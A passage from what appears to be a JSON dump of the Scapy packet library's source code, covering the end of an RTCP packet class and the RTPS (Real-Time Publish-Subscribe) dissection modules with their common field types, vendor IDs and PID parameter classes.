_rtcp_packet_types),\n        LenField('length', None, fmt='!h'),\n        # SR/RR\n        ConditionalField(\n            IntField('sourcesync', 0),\n            lambda pkt: pkt.packet_type in (200, 201)\n        ),\n        ConditionalField(\n            PacketField('sender_info', SenderInfo(), SenderInfo),\n            lambda pkt: pkt.packet_type == 200\n        ),\n        ConditionalField(\n            PacketListField('report_blocks', None, pkt_cls=ReceptionReport,\n                            count_from=lambda pkt: pkt.count),\n            lambda pkt: pkt.packet_type in (200, 201)\n        ),\n        # SDES\n        ConditionalField(\n            PacketListField('sdes_chunks', None, pkt_cls=SDESChunk,\n                            count_from=lambda pkt: pkt.count),\n            lambda pkt: pkt.packet_type == 202\n        ),\n    ]\n\n    def post_build(self, pkt, pay):\n        pkt += pay\n        if self.length is None:\n            pkt = pkt[:2] + struct.pack(\"!h\", len(pkt) // 4 - 1) + pkt[4:]\n        return pkt\n"
  },
  {
    "path": "scapy/contrib/rtps/__init__.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2021 Trend Micro Incorporated\n\n\"\"\"\nReal-Time Publish-Subscribe Protocol (RTPS) dissection\n\"\"\"\n\n# scapy.contrib.description = Real-Time Publish-Subscribe Protocol (RTPS)\n# scapy.contrib.status = loads\n# scapy.contrib.name = rtps\n\nfrom scapy.contrib.rtps.rtps import *  # noqa F403,F401\nfrom scapy.contrib.rtps.pid_types import * # noqa F403,F401\n"
  },
  {
    "path": "scapy/contrib/rtps/common_types.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2021 Trend Micro Incorporated\n# Copyright (C) 2021 Alias Robotics S.L.\n\n\"\"\"\nReal-Time Publish-Subscribe Protocol (RTPS) dissection\n\"\"\"\n\n# scapy.contrib.description = RTPS common types\n# scapy.contrib.status = library\n\nimport struct\n\nfrom scapy.fields import (\n    _FieldContainer,\n    BitField,\n    ConditionalField,\n    EnumField,\n    ByteField,\n    IntField,\n    IPField,\n    LEIntField,\n    PacketField,\n    PacketListField,\n    ReversePadField,\n    StrField,\n    StrLenField,\n    UUIDField,\n    XIntField,\n    XStrFixedLenField,\n)\nfrom scapy.packet import Packet\n\nFORMAT_LE = \"<\"\nFORMAT_BE = \">\"\nSTR_MAX_LEN = 8192\nDEFAULT_ENDIANNESS = FORMAT_LE\n\n\ndef is_le(pkt):\n    if hasattr(pkt, \"submessageFlags\"):\n        end = pkt.submessageFlags & 0b000000001 == 0b000000001\n        return end\n\n    return False\n\n\ndef e_flags(pkt):\n    if is_le(pkt):\n        return FORMAT_LE\n    else:\n        return FORMAT_BE\n\n\nclass EField(_FieldContainer):\n    \"\"\"\n    A field that manages endianness of a nested field passed to the constructor\n    \"\"\"\n\n    __slots__ = [\"fld\", \"endianness\", \"endianness_from\"]\n\n    def __init__(self, fld, endianness=None, endianness_from=None):\n        self.fld = fld\n        self.endianness = endianness\n        self.endianness_from = endianness_from\n\n    def set_endianness(self, pkt):\n        if getattr(pkt, \"endianness\", None) is not None:\n            self.endianness = pkt.endianness\n        elif self.endianness_from is not None:\n            self.endianness = self.endianness_from(pkt)\n\n        if isinstance(self.endianness, str) and self.endianness:\n            if isinstance(self.fld, UUIDField):\n                self.fld.uuid_fmt = (UUIDField.FORMAT_LE if\n                                     self.endianness == '<'\n                                     else UUIDField.FORMAT_BE)\n            elif hasattr(self.fld, \"fmt\"):\n                if len(self.fld.fmt) == 1:  # if it's only \"I\"\n                    _end = self.fld.fmt[0]\n                else:  # if it's \"<I\"\n                    _end = self.fld.fmt[1:]\n                self.fld.fmt = self.endianness + _end\n                self.fld.struct = struct.Struct(self.fld.fmt)\n\n    def getfield(self, pkt, buf):\n        self.set_endianness(pkt)\n        return self.fld.getfield(pkt, buf)\n\n    def addfield(self, pkt, buf, val):\n        self.set_endianness(pkt)\n        return self.fld.addfield(pkt, buf, val)\n\n\nclass EPacket(Packet):\n    \"\"\"A packet that manages its endianness\"\"\"\n\n    __slots__ = [\"endianness\"]\n\n    def __init__(self, *args, **kwargs):\n        self.endianness = kwargs.pop(\"endianness\", None)\n        super(EPacket, self).__init__(*args, **kwargs)\n\n    def clone_with(self, *args, **kwargs):\n        pkt = super(EPacket, self).clone_with(*args, **kwargs)\n        pkt.endianness = self.endianness\n        return pkt\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nclass _EPacketField(object):\n    \"\"\"\n    A packet field that manages its endianness and that of its nested packet\n    \"\"\"\n\n    def __init__(self, *args, **kwargs):\n        self.endianness = kwargs.pop(\"endianness\", None)\n        self.endianness_from = kwargs.pop(\"endianness_from\", e_flags)\n        super(_EPacketField, self).__init__(*args, **kwargs)\n\n    def set_endianness(self, pkt):\n        if getattr(pkt, \"endianness\", None) is not None:\n            self.endianness = pkt.endianness\n        elif self.endianness_from is not None:\n            self.endianness = self.endianness_from(pkt)\n\n    def m2i(self, pkt, m):\n        self.set_endianness(pkt)\n        return self.cls(m, endianness=self.endianness)\n\n    def i2m(self, pkt, m):\n        if m:\n            self.set_endianness(pkt)\n            m.endianness = self.endianness\n        return super(_EPacketField, self).i2m(pkt, m)\n\n\nclass EPacketField(_EPacketField, PacketField):\n    \"\"\"\n    A PacketField that manages its endianness and that of its nested packet\n    \"\"\"\n    __slots__ = [\"endianness\", \"endianness_from\"]\n\n\nclass EPacketListField(_EPacketField, PacketListField):\n    \"\"\"\n    A PacketListField that manages its endianness and\n    that of its nested packet\n    \"\"\"\n    __slots__ = [\"endianness\", \"endianness_from\"]\n\n\nclass SerializedDataField(StrLenField):\n    pass\n\n\nclass DataPacketField(EPacketField):\n    def m2i(self, pkt, m):\n        self.set_endianness(pkt)\n        fld, val = pkt.getfield_and_val(\"inlineQoS\")\n        pl_len = pkt.octetsToNextHeader - 24 - fld.i2len(pkt, val)\n        _pkt = self.cls(\n            m,\n            endianness=self.endianness,\n            writer_entity_id_key=pkt.writerEntityIdKey,\n            writer_entity_id_kind=pkt.writerEntityIdKind,\n            pl_len=pl_len,\n        )\n\n        return _pkt\n\n\nclass InlineQoSPacketField(EPacketField):\n    pass\n\n\nclass PIDPadField(StrField):\n    def getfield(self, pkt, s):\n        len_pkt = 2  # TODO this is dynamic\n        return s[len_pkt:], self.m2i(pkt, s[:len_pkt])\n\n\nclass GUIDPacket(Packet):\n    name = \"RTPS GUID\"\n    fields_desc = [\n        XIntField(\"hostId\", 0),\n        XIntField(\"appId\", 0),\n        XIntField(\"instanceId\", 0),\n        XIntField(\"entityId\", 0),\n    ]\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nclass LocatorPacket(EPacket):\n    name = \"RTPS Locator\"\n    fields_desc = [\n        EField(\n            XIntField(\"locatorKind\", 0),\n            endianness=FORMAT_LE,\n            endianness_from=None),\n        EField(\n            IntField(\"port\", 0),\n            endianness=FORMAT_LE,\n            endianness_from=None),\n        ConditionalField(\n            ReversePadField(IPField(\"address\", \"0.0.0.0\"), 20),\n            lambda p: p.locatorKind == 0x1\n        ),\n        ConditionalField(\n            XStrFixedLenField(\"hostId\", 0x0, 16),\n            lambda p: p.locatorKind == 0x01000000\n        )\n    ]\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nclass ProductVersionPacket(EPacket):\n    name = \"Product Version\"\n    fields_desc = [\n        ByteField(\"major\", 0),\n        ByteField(\"minor\", 0),\n        ByteField(\"release\", 0),\n        ByteField(\"revision\", 0),\n    ]\n\n\nclass TransportInfoPacket(EPacket):\n    name = \"Transport Info\"\n    fields_desc = [\n        LEIntField(\"classID\", 0),\n        LEIntField(\"messageSizeMax\", 0)\n    ]\n\n\nclass EndpointFlagsPacket(Packet):\n    name = \"RTPS Endpoint Builtin Endpoint Flags\"\n    fields_desc = [\n        BitField(\"participantSecureReader\", 0, 1),\n        BitField(\"participantSecureWriter\", 0, 1),\n        BitField(\"secureParticipantVolatileMessageReader\", 0, 1),\n        BitField(\"secureParticipantVolatileMessageWriter\", 0, 1),\n        BitField(\"participantStatelessMessageReader\", 0, 1),\n        BitField(\"participantStatelessMessageWriter\", 0, 1),\n        BitField(\"secureParticipantMessageReader\", 0, 1),\n        BitField(\"secureParticipantMessageWriter\", 0, 1),\n        BitField(\"secureSubscriptionReader\", 0, 1),\n        BitField(\"secureSubscriptionWriter\", 0, 1),\n        BitField(\"securePublicationReader\", 0, 1),\n        BitField(\"securePublicationWriter\", 0, 1),\n        BitField(\"reserved\", 0, 4),\n        BitField(\"participantMessageDataReader\", 0, 1),\n        BitField(\"participantMessageDataWriter\", 0, 1),\n        BitField(\"participantStateDetector\", 0, 1),\n        BitField(\"participantStateAnnouncer\", 0, 1),\n        BitField(\"publicationDetector\", 0, 1),\n        BitField(\"publicationAnnouncer\", 0, 1),\n        BitField(\"participantDetector\", 0, 1),\n        BitField(\"participantAnnouncer\", 0, 1),\n    ]\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nclass ProtocolVersionPacket(Packet):\n    name = \"RTPS Protocol Version\"\n    fields_desc = [ByteField(\"major\", 0), ByteField(\"minor\", 0)]\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\n_rtps_vendor_ids = {\n    0x0000: \"VENDOR_ID_UNKNOWN (0x0000)\",\n    0x0101: \"Real-Time Innovations, Inc. (RTI) - Connext DDS\",\n    0x0102: \"ADLink Ltd. - OpenSplice DDS\",\n    0x0103: \"Object Computing Inc. (OCI) - OpenDDS\",\n    0x0104: \"MilSoft - Mil-DDS\",\n    0x0105: \"Kongsberg - InterCOM DDS\",\n    0x0106: \"Twin Oaks Computing, Inc. - CoreDX DDS\",\n    0x0107: \"Lakota Technical Solutions, Inc.\",\n    0x0108: \"ICOUP Consulting\",\n    0x0109: \"Electronics and Telecommunication Research Institute (ETRI) - Diamond DDS\",\n    0x010A: \"Real-Time Innovations, Inc. (RTI) - Connext DDS Micro\",\n    0x010B: \"ADLink Ltd. - VortexCafe\",\n    0x010C: \"PrismTech Ltd\",\n    0x010D: \"ADLink Ltd. - Vortex Lite\",\n    0x010E: \"Technicolor - Qeo\",\n    0x010F: \"eProsima - FastRTPS, FastDDS\",\n    0x0110: \"Eclipse Foundation - Cyclone DDS\",\n    0x0111: \"Gurum Networks, Inc. - GurumDDS\",\n    0x0112: \"Atostek - RustDDS\",\n    0x0113: \"Nanjing Zhenrong Software Technology Co. \\\n        - Zhenrong Data Distribution Service (ZRDDS)\",\n    0x0114: \"S2E Software Systems B.V. - Dust DDS\",\n}\n\n\nclass VendorIdPacket(Packet):\n    name = \"RTPS Vendor ID\"\n    fields_desc = [\n        # ByteField(\"major\", 0),\n        # ByteField(\"minor\", 0),\n        EnumField(\n            name=\"vendor_id\",\n            default=0,\n            enum=_rtps_vendor_ids,\n        ),\n    ]\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nclass LeaseDurationPacket(Packet):\n    name = \"Lease Duration\"\n    fields_desc = [\n        IntField(\"seconds\", 0),\n        IntField(\"fraction\", 0),\n    ]\n\n    def extract_padding(self, p):\n        return b\"\", p\n"
  },
  {
    "path": "scapy/contrib/rtps/pid_types.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2021 Trend Micro Incorporated\n# Copyright (C) 2021 Alias Robotics S.L.\n\n\"\"\"\nReal-Time Publish-Subscribe Protocol (RTPS) dissection\n\"\"\"\n\n# scapy.contrib.description = RTPS PID type definitions\n# scapy.contrib.status = library\n\nimport random\nimport struct\n\nfrom scapy.fields import (\n    IntField,\n    PacketField,\n    PacketListField,\n    ShortField,\n    StrLenField,\n    XIntField,\n    XShortField,\n    XStrFixedLenField,\n)\nfrom scapy.packet import Packet\n\nfrom scapy.contrib.rtps.common_types import (\n    STR_MAX_LEN,\n    EField,\n    EPacket,\n    GUIDPacket,\n    LeaseDurationPacket,\n    LocatorPacket,\n    ProductVersionPacket,\n    ProtocolVersionPacket,\n    TransportInfoPacket,\n    VendorIdPacket,\n    FORMAT_LE,\n)\n\n\nclass ParameterIdField(XShortField):\n    _valid_ids = [\n        0x0002,\n        0x0004,\n        0x0005,\n        0x0006,\n        0x0007,\n        0x000B,\n        0x000C,\n        0x000D,\n        0x000E,\n        0x000F,\n        0x0011,\n        0x0015,\n        0x0016,\n        0x001A,\n        0x001B,\n        0x001D,\n        0x001E,\n        0x001F,\n        0x0021,\n        0x0023,\n        0x0025,\n        0x0027,\n        0x0029,\n        0x002B,\n        0x002C,\n        0x002D,\n        0x002E,\n        0x002F,\n        0x0030,\n        0x0031,\n        0x0032,\n        0x0033,\n        0x0034,\n        0x0035,\n        0x0040,\n        0x0041,\n        0x0043,\n        0x0044,\n        0x0045,\n        0x0046,\n        0x0048,\n        0x0049,\n        0x0050,\n        0x0052,\n        0x0053,\n        0x0058,\n        0x0059,\n        0x005A,\n        0x0060,\n        0x0062,\n        0x0070,\n        0x0071,\n        0x0077,\n        0x4014,\n        0x8000,\n        0x8001,\n        0x800f,\n        0x8010,\n        0x8016,\n        0x8017\n    ]\n\n    def randval(self):\n        return random.choice(self._valid_ids)\n\n\nclass PIDPacketBase(Packet):\n    name = \"PID Base Packet\"\n    fields_desc = [\n        EField(\n            ParameterIdField(\"parameterId\", 0),\n            endianness=FORMAT_LE,\n            endianness_from=None,\n        ),\n        EField(\n            ShortField(\"parameterLength\", 0),\n            endianness=FORMAT_LE,\n            endianness_from=None\n        ),\n        StrLenField(\n            \"parameterData\",\n            \"\",\n            length_from=lambda x: x.parameterLength,\n            max_length=STR_MAX_LEN,\n        ),\n    ]\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nclass PID_PAD(PIDPacketBase):\n    name = \"PID_PAD\"\n    fields_desc = [\n        StrLenField(\n            \"parameterId\", \"\",\n            length_from=lambda x: 2,\n            max_length=STR_MAX_LEN)\n    ]\n\n\nclass PID_SENTINEL(PIDPacketBase):\n    name = \"PID_SENTINEL\"\n\n\nclass PID_USER_DATA(PIDPacketBase):\n    name = \"PID_USER_DATA\"\n\n\nclass PID_TOPIC_NAME(PIDPacketBase):\n    name = \"PID_TOPIC_NAME\"\n\n\nclass PID_TYPE_NAME(PIDPacketBase):\n    name = \"PID_TYPE_NAME\"\n\n\nclass PID_GROUP_DATA(PIDPacketBase):\n    name = \"PID_GROUP_DATA\"\n\n\nclass PID_TOPIC_DATA(PIDPacketBase):\n    name = \"PID_TOPIC_DATA\"\n\n\nclass PID_DURABILITY(PIDPacketBase):\n    name = \"PID_DURABILITY\"\n\n\nclass PID_DURABILITY_SERVICE(PIDPacketBase):\n    name = \"PID_DURABILITY_SERVICE\"\n\n\nclass PID_DEADLINE(PIDPacketBase):\n    name = \"PID_DEADLINE\"\n\n\nclass PID_LATENCY_BUDGET(PIDPacketBase):\n    name = \"PID_LATENCY_BUDGET\"\n\n\nclass PID_LIVELINESS(PIDPacketBase):\n    name = \"PID_LIVELINESS\"\n\n\nclass PID_RELIABILITY(PIDPacketBase):\n    name = \"PID_RELIABILITY\"\n\n\nclass PID_LIFESPAN(PIDPacketBase):\n    name = \"PID_LIFESPAN\"\n\n\nclass PID_DESTINATION_ORDER(PIDPacketBase):\n    name = \"PID_DESTINATION_ORDER\"\n\n\nclass PID_HISTORY(PIDPacketBase):\n    name = \"PID_HISTORY\"\n\n\nclass PID_RESOURCE_LIMITS(PIDPacketBase):\n    name = \"PID_RESOURCE_LIMITS\"\n\n\nclass PID_OWNERSHIP(PIDPacketBase):\n    name = \"PID_OWNERSHIP\"\n\n\nclass PID_OWNERSHIP_STRENGTH(PIDPacketBase):\n    name = \"PID_OWNERSHIP_STRENGTH\"\n\n\nclass PID_PRESENTATION(PIDPacketBase):\n    name = \"PID_PRESENTATION\"\n\n\nclass PID_PARTITION(PIDPacketBase):\n    name = \"PID_PARTITION\"\n\n\nclass PID_TIME_BASED_FILTER(PIDPacketBase):\n    name = \"PID_TIME_BASED_FILTER\"\n\n\nclass PID_TRANSPORT_PRIO(PIDPacketBase):\n    name = \"PID_TRANSPORT_PRIO\"\n\n\nclass PID_PROTOCOL_VERSION(PIDPacketBase):\n    name = \"PID_PROTOCOL_VERSION\"\n    fields_desc = [\n        EField(\n            ParameterIdField(\"parameterId\", 0),\n            endianness=FORMAT_LE,\n            endianness_from=None,\n        ),\n        EField(\n            ShortField(\"parameterLength\", 0),\n            endianness=FORMAT_LE,\n            endianness_from=None\n        ),\n        PacketField(\"protocolVersion\", \"\", ProtocolVersionPacket),\n        StrLenField(\n            \"padding\",\n            \"\",\n            length_from=lambda x: x.parameterLength - 2,\n            max_length=STR_MAX_LEN,\n        ),\n    ]\n\n\nclass PID_VENDOR_ID(PIDPacketBase):\n    name = \"PID_VENDOR_ID\"\n    fields_desc = [\n        EField(\n            ParameterIdField(\"parameterId\", 0),\n            endianness=FORMAT_LE,\n            endianness_from=None,\n        ),\n        EField(\n            ShortField(\"parameterLength\", 0),\n            endianness=FORMAT_LE,\n            endianness_from=None\n        ),\n        PacketField(\"vendorId\", \"\", VendorIdPacket),\n        StrLenField(\n            \"padding\",\n            \"\",\n            length_from=lambda x: x.parameterLength - 2,\n            max_length=STR_MAX_LEN,\n        ),\n    ]\n\n\nclass PID_UNICAST_LOCATOR(PIDPacketBase):\n    name = \"PID_UNICAST_LOCATOR\"\n    fields_desc = [\n        EField(\n            ParameterIdField(\"parameterId\", 0),\n            endianness=FORMAT_LE,\n            endianness_from=None,\n        ),\n        EField(\n            ShortField(\"parameterLength\", 0),\n            endianness=FORMAT_LE,\n            endianness_from=None\n        ),\n        PacketField(\"locator\", \"\", LocatorPacket),\n    ]\n\n\nclass PID_MULTICAST_LOCATOR(PIDPacketBase):\n    name = \"PID_MULTICAST_LOCATOR\"\n    fields_desc = [\n        EField(\n            ParameterIdField(\"parameterId\", 0),\n            endianness=FORMAT_LE,\n            endianness_from=None,\n        ),\n        EField(\n            ShortField(\"parameterLength\", 0),\n            endianness=FORMAT_LE,\n            endianness_from=None\n        ),\n        StrLenField(\n            \"parameterData\",\n            \"\",\n            length_from=lambda x: x.parameterLength,\n            max_length=STR_MAX_LEN,\n        ),\n    ]\n\n\nclass PID_MULTICAST_IPADDRESS(PIDPacketBase):\n    name = \"PID_MULTICAST_IPADDRESS\"\n\n\nclass PID_DEFAULT_UNICAST_LOCATOR(PIDPacketBase):\n    name = \"PID_DEFAULT_UNICAST_LOCATOR\"\n    fields_desc = [\n        EField(\n            ParameterIdField(\"parameterId\", 0),\n            endianness=FORMAT_LE,\n            endianness_from=None,\n        ),\n        EField(\n            ShortField(\"parameterLength\", 0),\n            endianness=FORMAT_LE,\n            endianness_from=None\n        ),\n        PacketField(\"locator\", \"\", LocatorPacket),\n    ]\n\n\nclass PID_DEFAULT_MULTICAST_LOCATOR(PIDPacketBase):\n    name = \"PID_DEFAULT_MULTICAST_LOCATOR\"\n    fields_desc = [\n        EField(\n            ParameterIdField(\"parameterId\", 0),\n            endianness=FORMAT_LE,\n            endianness_from=None,\n        ),\n        EField(\n            ShortField(\"parameterLength\", 0),\n            endianness=FORMAT_LE,\n            endianness_from=None\n        ),\n        PacketField(\"locator\", \"\", LocatorPacket),\n    ]\n\n\nclass PID_TRANSPORT_PRIORITY(PIDPacketBase):\n    name = \"PID_TRANSPORT_PRIORITY\"\n\n\nclass PID_METATRAFFIC_UNICAST_LOCATOR(PIDPacketBase):\n    name = \"PID_METATRAFFIC_UNICAST_LOCATOR\"\n    fields_desc = [\n        EField(\n            ParameterIdField(\"parameterId\", 0),\n            endianness=FORMAT_LE,\n            endianness_from=None,\n        ),\n        EField(\n            ShortField(\"parameterLength\", 0),\n            endianness=FORMAT_LE,\n            endianness_from=None\n        ),\n        PacketField(\"locator\", \"\", LocatorPacket),\n    ]\n\n\nclass PID_METATRAFFIC_MULTICAST_LOCATOR(PIDPacketBase):\n    name = \"PID_METATRAFFIC_MULTICAST_LOCATOR\"\n    fields_desc = [\n        EField(\n            ParameterIdField(\"parameterId\", 0),\n            endianness=FORMAT_LE,\n            endianness_from=None,\n        ),\n        EField(\n            ShortField(\"parameterLength\", 0),\n            endianness=FORMAT_LE,\n            endianness_from=None\n        ),\n        PacketField(\"locator\", \"\", LocatorPacket),\n    ]\n\n\nclass PID_DEFAULT_UNICAST_IPADDRESS(PIDPacketBase):\n    name = \"PID_DEFAULT_UNICAST_IPADDRESS\"\n\n\nclass PID_DEFAULT_UNICAST_PORT(PIDPacketBase):\n    name = \"PID_DEFAULT_UNICAST_PORT\"\n\n\nclass PID_METATRAFFIC_UNICAST_IPADDRESS(PIDPacketBase):\n    name = \"PID_METATRAFFIC_UNICAST_IPADDRESS\"\n\n\nclass PID_METATRAFFIC_UNICAST_PORT(PIDPacketBase):\n    name = \"PID_METATRAFFIC_UNICAST_PORT\"\n\n\nclass PID_METATRAFFIC_MULTICAST_IPADDRESS(PIDPacketBase):\n    name = \"PID_METATRAFFIC_MULTICAST_IPADDRESS\"\n\n\nclass PID_METATRAFFIC_MULTICAST_PORT(PIDPacketBase):\n    name = \"PID_METATRAFFIC_MULTICAST_PORT\"\n\n\nclass PID_EXPECTS_INLINE_QOS(PIDPacketBase):\n    name = \"PID_EXPECTS_INLINE_QOS\"\n\n\nclass PID_PARTICIPANT_MANUAL_LIVELINESS_COUNT(PIDPacketBase):\n    name = \"PID_PARTICIPANT_MANUAL_LIVELINESS_COUNT\"\n\n\nclass PID_PARTICIPANT_BUILTIN_ENDPOINTS(PIDPacketBase):\n    name = \"PID_PARTICIPANT_BUILTIN_ENDPOINTS\"\n\n\nclass PID_PARTICIPANT_LEASE_DURATION(PIDPacketBase):\n    name = \"PID_PARTICIPANT_LEASE_DURATION\"\n\n\nclass PID_CONTENT_FILTER_PROPERTY(PIDPacketBase):\n    name = \"PID_CONTENT_FILTER_PROPERTY\"\n\n\nclass PID_PARTICIPANT_GUID(PIDPacketBase):\n    name = \"PID_PARTICIPANT_GUID\"\n    fields_desc = [\n        EField(\n            ParameterIdField(\"parameterId\", 0),\n            endianness=FORMAT_LE,\n            endianness_from=None,\n        ),\n        EField(\n            ShortField(\"parameterLength\", 0),\n            endianness=FORMAT_LE,\n            endianness_from=None\n        ),\n        PacketField(\"guid\", \"\", GUIDPacket),\n    ]\n\n\nclass PID_ENDPOINT_GUID(PIDPacketBase):\n    name = \"PID_ENDPOINT_GUID\"\n    fields_desc = [\n        EField(\n            ParameterIdField(\"parameterId\", 0),\n            endianness=FORMAT_LE,\n            endianness_from=None,\n        ),\n        EField(\n            ShortField(\"parameterLength\", 0),\n            endianness=FORMAT_LE,\n            endianness_from=None\n        ),\n        PacketField(\"guid\", \"\", GUIDPacket),\n    ]\n\n\nclass PID_GROUP_GUID(PIDPacketBase):\n    name = \"PID_GROUP_GUID\"\n\n\nclass PID_GROUP_ENTITYID(PIDPacketBase):\n    name = \"PID_GROUP_ENTITYID\"\n\n\nclass PID_BUILTIN_ENDPOINT_SET(PIDPacketBase):\n    name = \"PID_BUILTIN_ENDPOINT_SET\"\n\n\nclass PID_PROPERTY_LIST(PIDPacketBase):\n    name = \"PID_PROPERTY_LIST\"\n\n\nclass PID_TYPE_MAX_SIZE_SERIALIZED(PIDPacketBase):\n    name = \"PID_TYPE_MAX_SIZE_SERIALIZED\"\n\n\nclass PID_ENTITY_NAME(PIDPacketBase):\n    name = \"PID_ENTITY_NAME\"\n\n\nclass PID_KEY_HASH(PIDPacketBase):\n    name = \"PID_KEY_HASH\"\n\n\nclass PID_STATUS_INFO(PIDPacketBase):\n    name = \"PID_STATUS_INFO\"\n\n\nclass PID_BUILTIN_ENDPOINT_QOS(PIDPacketBase):\n    name = \"PID_BUILTIN_ENDPOINT_QOS\"\n\n\nclass PID_DOMAIN_TAG(PIDPacketBase):\n    name = \"PID_DOMAIN_TAG\"\n\n\nclass PID_DOMAIN_ID(PIDPacketBase):\n    name = \"PID_DOMAIN_ID\"\n\n\nclass PID_UNKNOWN(PIDPacketBase):\n    name = \"PID_UNKNOWN\"\n\n\nclass PID_PRODUCT_VERSION(PIDPacketBase):\n    name = \"PID_PRODUCT_VERSION\"\n    fields_desc = [\n        EField(\n            ParameterIdField(\"parameterId\", 0),\n            endianness=FORMAT_LE,\n            endianness_from=None,\n        ),\n        EField(\n            ShortField(\"parameterLength\", 0),\n            endianness=FORMAT_LE,\n            endianness_from=None\n        ),\n        PacketField(\"productVersion\", \"\", ProductVersionPacket),\n    ]\n\n\nclass PID_PLUGIN_PROMISCUITY_KIND(PIDPacketBase):\n    name = \"PID_PLUGIN_PROMISCUITY_KIND\"\n    fields_desc = [\n        EField(\n            ParameterIdField(\"parameterId\", 0),\n            endianness=FORMAT_LE,\n            endianness_from=None,\n        ),\n        EField(\n            ShortField(\"parameterLength\", 0),\n            endianness=FORMAT_LE,\n            endianness_from=None\n        ),\n        EField(\n            XIntField(\"promiscuityKind\", 0x0),\n            endianness=FORMAT_LE,\n            endianness_from=None\n        )\n    ]\n\n\nclass PID_RTI_DOMAIN_ID(PIDPacketBase):\n    name = \"PID_RTI_DOMAIN_ID\"\n    fields_desc = [\n        EField(\n            ParameterIdField(\"parameterId\", 0),\n            endianness=FORMAT_LE,\n            endianness_from=None,\n        ),\n        EField(\n            ShortField(\"parameterLength\", 0),\n            endianness=FORMAT_LE,\n            endianness_from=None\n        ),\n        EField(\n            IntField(\"domainId\", 0),\n            endianness=FORMAT_LE,\n            endianness_from=None\n        )\n    ]\n\n\nclass PID_TRANSPORT_INFO_LIST(PIDPacketBase):\n    name = \"PID_TRANSPORT_INFO_LIST\"\n    fields_desc = [\n        EField(\n            ParameterIdField(\"parameterId\", 0),\n            endianness=FORMAT_LE,\n            endianness_from=None,\n        ),\n        EField(\n            ShortField(\"parameterLength\", 0),\n            endianness=FORMAT_LE,\n            endianness_from=None\n        ),\n        XStrFixedLenField(\"padding\", \"\", 4),\n        EField(\n            PacketListField(\n                \"transportInfo\", [],\n                TransportInfoPacket,\n                length_from=lambda p: p.parameterLength - 4)\n        )\n    ]\n\n\nclass PID_REACHABILITY_LEASE_DURATION(PIDPacketBase):\n    name = \"PID_REACHABILITY_LEASE_DURATION\"\n    fields_desc = [\n        EField(\n            ParameterIdField(\"parameterId\", 0),\n            endianness=FORMAT_LE,\n            endianness_from=None,\n        ),\n        EField(\n            ShortField(\"parameterLength\", 0),\n            endianness=FORMAT_LE,\n            endianness_from=None\n        ),\n        PacketField(\"lease_duration\", \"\", LeaseDurationPacket),\n    ]\n\n\nclass PID_VENDOR_BUILTIN_ENDPOINT_SET(PIDPacketBase):\n    name = \"PID_VENDOR_BUILTIN_ENDPOINT_SET\"\n    fields_desc = [\n        EField(\n            ParameterIdField(\"parameterId\", 0),\n            endianness=FORMAT_LE,\n            endianness_from=None,\n        ),\n        EField(\n            ShortField(\"parameterLength\", 0),\n            endianness=FORMAT_LE,\n            endianness_from=None\n        ),\n        EField(\n            XIntField(\"flags\", 0),\n            endianness=FORMAT_LE,\n            endianness_from=None\n        )\n    ]\n\n\n_RTPSParameterIdTypes = {\n    0x0000: PID_PAD,\n    # 0x0001: PID_SENTINEL,\n    0x0002: PID_PARTICIPANT_LEASE_DURATION,\n    0x0004: PID_TIME_BASED_FILTER,\n    0x0005: PID_TOPIC_NAME,\n    0x0006: PID_OWNERSHIP_STRENGTH,\n    0x0007: PID_TYPE_NAME,\n    0x000B: PID_METATRAFFIC_MULTICAST_IPADDRESS,\n    0x000C: PID_DEFAULT_UNICAST_IPADDRESS,\n    0x000D: PID_METATRAFFIC_UNICAST_PORT,\n    0x000E: PID_DEFAULT_UNICAST_PORT,\n    0x000F: PID_DOMAIN_ID,\n    0x0011: PID_MULTICAST_IPADDRESS,\n    0x0015: PID_PROTOCOL_VERSION,\n    0x0016: PID_VENDOR_ID,\n    0x001A: PID_RELIABILITY,\n    0x001B: PID_LIVELINESS,\n    0x001D: PID_DURABILITY,\n    0x001E: PID_DURABILITY_SERVICE,\n    0x001F: PID_OWNERSHIP,\n    0x0021: PID_PRESENTATION,\n    0x0023: PID_DEADLINE,\n    0x0025: PID_DESTINATION_ORDER,\n    0x0027: PID_LATENCY_BUDGET,\n    0x0029: PID_PARTITION,\n    0x002B: PID_LIFESPAN,\n    0x002C: PID_USER_DATA,\n    0x002D: PID_GROUP_DATA,\n    0x002E: PID_TOPIC_DATA,\n    0x002F: PID_UNICAST_LOCATOR,\n    0x0030: PID_MULTICAST_LOCATOR,\n    0x0031: PID_DEFAULT_UNICAST_LOCATOR,\n    0x0032: PID_METATRAFFIC_UNICAST_LOCATOR,\n    0x0033: PID_METATRAFFIC_MULTICAST_LOCATOR,\n    0x0034: PID_PARTICIPANT_MANUAL_LIVELINESS_COUNT,\n    0x0035: PID_CONTENT_FILTER_PROPERTY,\n    0x0040: PID_HISTORY,\n    0x0041: PID_RESOURCE_LIMITS,\n    0x0043: PID_EXPECTS_INLINE_QOS,\n    0x0044: PID_PARTICIPANT_BUILTIN_ENDPOINTS,\n    0x0045: PID_METATRAFFIC_UNICAST_IPADDRESS,\n    0x0046: PID_METATRAFFIC_MULTICAST_PORT,\n    0x0048: PID_DEFAULT_MULTICAST_LOCATOR,\n    0x0049: PID_TRANSPORT_PRIORITY,\n    0x0050: PID_PARTICIPANT_GUID,\n    0x0052: PID_GROUP_GUID,\n    0x0053: PID_GROUP_ENTITYID,\n    0x0058: PID_BUILTIN_ENDPOINT_SET,\n    0x0059: PID_PROPERTY_LIST,\n    0x005A: PID_ENDPOINT_GUID,\n    0x0060: PID_TYPE_MAX_SIZE_SERIALIZED,\n    0x0062: PID_ENTITY_NAME,\n    0x0070: PID_KEY_HASH,\n    0x0071: PID_STATUS_INFO,\n    0x0077: PID_BUILTIN_ENDPOINT_QOS,\n  